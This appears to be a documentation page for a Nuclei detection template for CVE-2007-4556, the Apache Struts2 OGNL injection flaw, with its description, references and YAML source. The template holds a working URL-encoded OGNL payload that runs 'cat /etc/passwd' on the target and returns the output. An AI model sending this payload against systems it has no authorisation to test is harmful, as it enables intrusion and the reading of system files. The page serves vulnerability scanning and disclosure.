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OpenSymphony XWork/Apache Struts2 - Remote Code Execution

ID: CVE-2007-4556

Severity: medium

Author: pikpikcu

Tags: cve,cve2007,apache,rce,struts,opensymphony

Description

Section titled “Description”

Apache Struts support in OpenSymphony XWork before 1.2.3, and 2.x before 2.0.4, as used in WebWork and Apache Struts, recursively evaluates all input as an Object-Graph Navigation Language (OGNL) expression when altSyntax is enabled, which allows remote attackers to cause a denial of service (infinite loop) or execute arbitrary code via for”m input beginning with a ”%{” sequence and ending with a ”}” character.

YAML Source

Section titled “YAML Source”
id: CVE-2007-4556


info:
  name: OpenSymphony XWork/Apache Struts2 - Remote Code Execution
  author: pikpikcu
  severity: medium
  description: |
    Apache Struts support in OpenSymphony XWork before 1.2.3, and 2.x before 2.0.4, as used in WebWork and Apache Struts, recursively evaluates all input as an Object-Graph Navigation Language (OGNL) expression when altSyntax is enabled, which allows remote attackers to cause a denial of service (infinite loop) or execute arbitrary code via for"m input beginning with a "%{" sequence and ending with a "}" character.
  impact: |
    Remote code execution
  remediation: |
    Update to the latest version of Apache Struts2
  reference:
    - https://www.guildhab.top/?p=2326
    - https://nvd.nist.gov/vuln/detail/CVE-2007-4556
    - https://cwiki.apache.org/confluence/display/WW/S2-001
    - http://forums.opensymphony.com/ann.jspa?annID=54
    - http://issues.apache.org/struts/browse/WW-2030
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2007-4556
    cwe-id: NVD-CWE-Other
    epss-score: 0.21361
    epss-percentile: 0.96419
    cpe: cpe:2.3:a:opensymphony:xwork:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: opensymphony
    product: xwork
  tags: cve,cve2007,apache,rce,struts,opensymphony


http:
  - method: POST
    path:
      - "{{BaseURL}}/login.action"


    body: |
      username=test&password=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D


    headers:
      Content-Type: application/x-www-form-urlencoded


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 490a0046304402204b9c4d327d7a3c9a1dda2e01bd500a0ada5bef92cb938adaebae0a549c99afcd02203c6a764134ebf6feb0921172e788606af62c4dbc97f28a58fdaae4908c6a7bc8:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2007/CVE-2007-4556.yaml"

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